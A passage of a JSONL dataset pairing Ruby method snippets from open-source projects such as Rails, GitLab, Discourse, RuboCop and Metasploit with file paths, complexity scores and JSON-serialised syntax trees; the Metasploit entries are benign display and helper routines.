"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@tag\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"moderations_tag_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"not_found\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@current_user_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"moderator_for_tags\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user_following_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"currently_following_tags\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"-\",{\"type\":\"ivar\",\"children\":[\"@current_user_tags\"]}]}]}]}]}","id":"6dabdd39-7a35-49d7-87ba-c97f97470ad8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/inflector/methods.rb","start_line":256,"raw_source":"def deconstantize(path)\n      path.to_s[0, path.rindex(\"::\") || 0] # implementation based on the one in facets' Module#spacename\n    end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"deconstantize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_s\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"::\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"c732c258-fa39-45a3-a001-33722674bf62"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/rescue_ensure_alignment.rb","start_line":136,"raw_source":"def aligned_with_line_break_method?(ancestor_node, node)\n          send_node_loc = ancestor_node.send_node.loc\n          do_keyword_line = ancestor_node.loc.begin.line\n          rescue_keyword_column = node.loc.keyword.column\n          selector = send_node_loc.respond_to?(:selector) ? send_node_loc.selector : send_node_loc\n\n          if aligned_with_leading_dot?(do_keyword_line, send_node_loc, rescue_keyword_column)\n            return true\n          end\n\n          do_keyword_line == selector&.line && rescue_keyword_column == selector.column\n        end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"aligned_with_line_break_method?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor_node\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"send_node_loc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_node\"]},\"send_node\"]},\"loc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"do_keyword_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_node\"]},\"loc\"]},\"begin\"]},\"line\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rescue_keyword_column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},\"column\"]}]},{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_node_loc\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"selector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_node_loc\"]},\"selector\"]},{\"type\":\"lvar\",\"children\":[\"send_node_loc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aligned_with_leading_dot?\",{\"type\":\"lvar\",\"children\":[\"do_keyword_line\"]},{\"type\":\"lvar\",\"children\":[\"send_node_loc\"]},{\"type\":\"lvar\",\"children\":[\"rescue_keyword_column\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"do_keyword_line\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selector\"]},\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescue_keyword_column\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selector\"]},\"column\"]}]}]}]}]}","id":"bc3f4800-468e-48b8-8f69-71b88107f0dc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/inherited_attribute.rb","start_line":76,"raw_source":"def inherit?(name)\n    superclass.respond_to? :get_inherited_attribute and not not_inherited.include? name\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"inherit?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"get_inherited_attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"not_inherited\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"!\"]}]}]}","id":"be53d8dc-2f6c-4e60-8cc4-36836ca93e44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1152,"raw_source":"def bridge_triggered?\n      source_bridge.present?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bridge_triggered?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_bridge\"]},\"present?\"]}]}","id":"4ca6bc1f-2cd4-41d1-91e4-c7e6d5181de2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/calculate_scores.rb","start_line":7,"raw_source":"def execute(args)\n      ScoreCalculator.new.calculate\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScoreCalculator\"]},\"new\"]},\"calculate\"]}]}","id":"e5e3bed0-f5b9-4f97-935a-1563fabbf4f0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb","start_line":321,"raw_source":"def present_upn_and_dns_information(upn_and_dns_info)\n      output = []\n      output << 'UPN and DNS Information:'\n      output << \"UPN: #{upn_and_dns_info.upn.encode('utf-8')}\".indent(2)\n      output << \"DNS Domain Name: #{upn_and_dns_info.dns_domain_name.encode('utf-8')}\".indent(2)\n\n      output << \"Flags: #{upn_and_dns_info.flags}\".indent(2)\n      upn_and_dns_info_attributes = Rex::Proto::Kerberos::Pac::UpnDnsInfoAttributes.read([upn_and_dns_info.flags].pack('N'))\n      output << print_bin_data_model(upn_and_dns_info_attributes, bit_length: 32).to_s.indent(4)\n\n      if upn_and_dns_info.has_s_flag?\n        output << \"SAM Name: #{upn_and_dns_info.sam_name.encode('utf-8')}\".indent(2)\n        output << \"SID: #{upn_and_dns_info.sid}\".indent(2)\n      end\n      output.join(\"\\n\")\n    end","complexity_score":41.65,"ast_json":"{\"type\":\"def\",\"children\":[\"present_upn_and_dns_information\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upn_and_dns_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"UPN and DNS Information:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPN: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"upn\"]},\"encode\",{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DNS Domain Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"dns_domain_name\"]},\"encode\",{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Flags: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"flags\"]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upn_and_dns_info_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Pac\"]},\"UpnDnsInfoAttributes\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"flags\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bin_data_model\",{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bit_length\"]},{\"type\":\"int\",\"children\":[32]}]}]}]},\"to_s\"]},\"indent\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"has_s_flag?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SAM Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"sam_name\"]},\"encode\",{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upn_and_dns_info\"]},\"sid\"]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"99b292cd-126e-403a-98d7-6570c5b3adf2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module.rb","start_line":231,"raw_source":"def adapter_refname\n      self.class.adapter_refname\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"adapter_refname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"adapter_refname\"]}]}","id":"edf1ad58-c466-4948-8176-4c335db85fa3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/themes/bulk_destroy.rb","start_line":49,"raw_source":"def log_themes_destroy(themes:, guardian:)\n    staff_action_logger = StaffActionLogger.new(guardian.user)\n    themes.each { |theme| staff_action_logger.log_theme_destroy(theme) }\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"log_themes_destroy\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"themes\"]},{\"type\":\"kwarg\",\"children\":[\"guardian\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"staff_action_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"themes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"staff_action_logger\"]},\"log_theme_destroy\",{\"type\":\"lvar\",\"children\":[\"theme\"]}]}]}]}]}","id":"a71d49fd-74e6-4ee1-8629-19247bf62777"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/scripts/internal_events/cli/global_state_spec.rb","start_line":49,"raw_source":"def definitions\n      global_state.send(method)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"definitions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"global_state\"]},\"send\",{\"type\":\"send\",\"children\":[null,\"method\"]}]}]}","id":"7c162b41-6c6c-4f97-bff8-75df427779e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_tools_controller.rb","start_line":86,"raw_source":"def destroy\n        tool_logger_details = {\n          tool_id: @ai_tool.id,\n          name: @ai_tool.name,\n          tool_name: @ai_tool.tool_name,\n          subject: @ai_tool.name,\n        }\n\n        if @ai_tool.destroy\n          log_ai_tool_deletion(tool_logger_details)\n          head :no_content\n        else\n          render_json_error @ai_tool\n        end\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_logger_details\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ai_tool\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ai_tool\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ai_tool\"]},\"tool_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ai_tool\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ai_tool\"]},\"destroy\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_ai_tool_deletion\",{\"type\":\"lvar\",\"children\":[\"tool_logger_details\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"ivar\",\"children\":[\"@ai_tool\"]}]}]}]}]}","id":"f5054aef-db24-44a3-95a0-d9176a0a587d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/symbol_proc.rb","start_line":202,"raw_source":"def unsafe_array_usage?(node)\n          node.receiver&.array_type? && %i[min max].include?(node.method_name)\n        end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"unsafe_array_usage?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"array_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"sym\",\"children\":[\"max\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]}]}","id":"dcdd9917-cc00-4a52-82c6-471a8fed25ca"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":5,"raw_source":"def index\n    @macros = Macro.with_visibility(current_user, params)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@macros\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Macro\"]},\"with_visibility\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}","id":"68e7d987-3b4d-4017-8ca5-bd68f355969f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/commandline.rb","start_line":30,"raw_source":"def run options, default_app_path = \".\"\n        set_interrupt_handler options\n        early_exit_options options\n        set_options options, default_app_path\n        check_latest if options[:ensure_latest]\n        run_report options\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"optarg\",\"children\":[\"default_app_path\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_interrupt_handler\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"early_exit_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"set_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"default_app_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ensure_latest\"]}]},{\"type\":\"send\",\"children\":[null,\"check_latest\"]},null]},{\"type\":\"send\",\"children\":[null,\"run_report\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"b722bf70-520b-4e1c-a186-d0be900c5020"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/services/openid_connect/providers/update_service.rb","start_line":61,"raw_source":"def extract_metadata(call, metadata_url, model) # rubocop:disable Metrics/AbcSize\n        case (response = OpenProject.httpx.get(metadata_url))\n        in {status: 200..299}\n          json = begin\n            response.json\n          rescue HTTPX::Error\n            call.errors.add(:metadata_url, :response_is_not_json)\n            call.success = false\n          end\n          result = AttributesContract.new.call(json)\n          if result.errors.empty?\n            model.assign_attributes(result.to_h)\n            # Microsoft responds with\n            # \"https://login.microsoftonline.com/{tenantid}/v2.0\" in issuer field for whatever reason...\n            if model.oidc_provider == \"microsoft_entra\"\n              model.issuer = \"https://login.microsoftonline.com/#{model.tenant}/v2.0\"\n            end\n          else\n            call.errors.add(:metadata_url,\n                            :response_misses_required_attributes,\n                            missing_attributes: result.errors.attribute_names.join(\", \"))\n            call.success = false\n          end\n        in {status: 300..}\n          call.errors.add(:metadata_url, :response_is_not_successful, status: response.status)\n          call.success = false\n        in {error: error}\n          call.message = error.message\n          call.success = false\n        else\n          call.message = I18n.t(:notice_internal_server_error)\n          call.success = false\n        end\n\n        call\n      end","complexity_score":52.23,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]},{\"type\":\"arg\",\"children\":[\"metadata_url\"]},{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case_match\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"httpx\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"metadata_url\"]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"json\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTPX\"]},\"Error\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"metadata_url\"]},{\"type\":\"sym\",\"children\":[\"response_is_not_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AttributesContract\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"oidc_provider\"]},\"==\",{\"type\":\"str\",\"children\":[\"microsoft_entra\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"issuer=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://login.microsoftonline.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"tenant\"]}]},{\"type\":\"str\",\"children\":[\"/v2.0\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"metadata_url\"]},{\"type\":\"sym\",\"children\":[\"response_misses_required_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"attribute_names\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[300]},null]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"metadata_url\"]},{\"type\":\"sym\",\"children\":[\"response_is_not_successful\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"match_var\",\"children\":[\"error\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_internal_server_error\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"call\"]}]}]}","id":"aadf3cf9-2f8d-4916-9ecc-564cbdfcab30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb","start_line":223,"raw_source":"def system_privilege_check\n    unless client.sys.config.is_system?\n      print_line(\"[-] Warning: Not currently running as SYSTEM, not all tokens will be available\")\n      print_line(\"             Call rev2self if primary process token is SYSTEM\")\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"system_privilege_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"is_system?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"[-] Warning: Not currently running as SYSTEM, not all tokens will be available\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"             Call rev2self if primary process token is 